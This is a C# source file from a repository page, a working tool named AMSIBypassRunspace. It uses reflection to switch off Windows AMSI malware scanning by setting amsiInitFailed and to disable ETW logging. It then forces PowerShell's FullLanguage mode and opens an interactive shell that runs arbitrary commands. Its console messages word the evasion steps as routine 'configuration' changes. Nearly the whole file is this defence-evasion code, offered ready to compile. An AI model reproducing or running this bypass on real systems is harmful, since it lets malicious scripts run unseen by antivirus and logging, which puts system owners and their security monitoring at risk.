Repository navigation
Expand file tree
/
Copy pathProgram.cs
More file actions
138 lines (121 loc) · 5.29 KB
/
Copy pathProgram.cs
File metadata and controls
138 lines (121 loc) · 5.29 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
using System;
using System.Collections.ObjectModel;
using System.Diagnostics;
using System.IO;
using System.Management.Automation;
using System.Management.Automation.Runspaces;
using System.Reflection;
using System.Threading;
namespace AMSIBypassRunspace
{
class Program
{
static void Main(string[] args)
{
if (!Environment.Is64BitProcess)
{
Console.ForegroundColor = ConsoleColor.Red;
Console.WriteLine("[-] CRITICAL ERROR: This process MUST run in 64-bit mode.");
Console.WriteLine(" Please compile the project using the x64 platform target strictly.");
Console.ResetColor();
return;
}
Console.CursorVisible = false;
Console.Write("[*] Initializing system context ");
for (int i = 0; i < 10; i++)
{
Console.Write(".");
Thread.Sleep(100);
}
Console.WriteLine(" [DONE]");
Console.CursorVisible = true;
Environment.SetEnvironmentVariable("PROCESSOR_ARCHITECTURE", "AMD64", EnvironmentVariableTarget.Process);
try
{
Type amsiUtils = typeof(PSObject).Assembly.GetType("System.Management.Automation.AmsiUtils");
if (amsiUtils != null)
{
FieldInfo amsiInitFailed = amsiUtils.GetField("amsiInitFailed", BindingFlags.NonPublic | BindingFlags.Static);
if (amsiInitFailed != null)
{
amsiInitFailed.SetValue(null, true);
Console.WriteLine("[+] AMSI configuration successfully updated.");
}
}
}
catch { }
try
{
Type etwUtils = typeof(PSObject).Assembly.GetType("System.Management.Automation.EtwActivity");
if (etwUtils != null)
{
FieldInfo etwEnabled = etwUtils.GetField("isEtwEnabled", BindingFlags.NonPublic | BindingFlags.Static);
if (etwEnabled != null)
{
etwEnabled.SetValue(null, false);
Console.WriteLine("[+] ETW logging metrics successfully adjusted.");
}
}
}
catch { }
InitialSessionState iss = InitialSessionState.CreateDefault();
using (Runspace runspace = RunspaceFactory.CreateRunspace(iss))
{
runspace.Open();
runspace.SessionStateProxy.LanguageMode = PSLanguageMode.FullLanguage;
Console.WriteLine("\nWindows PowerShell (Custom Host - x64 Dedicated)");
Console.WriteLine("Copyright (C) Microsoft Corporation. All rights reserved.\n");
while (true)
{
string currentPath = runspace.SessionStateProxy.Path.CurrentLocation.ToString();
Environment.CurrentDirectory = runspace.SessionStateProxy.Path.CurrentLocation.ProviderPath;
Console.Write("PS " + currentPath + "> ");
string input = Console.ReadLine();
if (string.IsNullOrEmpty(input)) continue;
string trimmedInput = input.Trim();
if (trimmedInput.Equals("exit", StringComparison.OrdinalIgnoreCase)) break;
if (trimmedInput.Equals("clear", StringComparison.OrdinalIgnoreCase) || trimmedInput.Equals("cls", StringComparison.OrdinalIgnoreCase)) { Console.Clear(); continue; }
ExecutePowerShellScript(ps => {
ps.Runspace = runspace;
ps.AddScript(input);
if (!trimmedInput.EndsWith("Out-String", StringComparison.OrdinalIgnoreCase))
{
ps.AddCommand("Out-String");
}
}, runspace);
}
runspace.Close();
}
}
static void ExecutePowerShellScript(Action<PowerShell> buildPipeline, Runspace runspace)
{
using (PowerShell ps = PowerShell.Create())
{
buildPipeline(ps);
try
{
Collection<PSObject> results = ps.Invoke();
foreach (PSObject output in results)
{
if (output != null) Console.Write(output.ToString());
}
if (ps.Streams.Error != null && ps.Streams.Error.Count > 0)
{
Console.ForegroundColor = ConsoleColor.Red;
foreach (ErrorRecord err in ps.Streams.Error)
{
if (err != null) Console.WriteLine(err.ToString());
}
Console.ResetColor();
}
}
catch (Exception ex)
{
Console.ForegroundColor = ConsoleColor.Red;
Console.WriteLine("Pipeline error: " + ex.Message);
Console.ResetColor();
}
}
}
}
}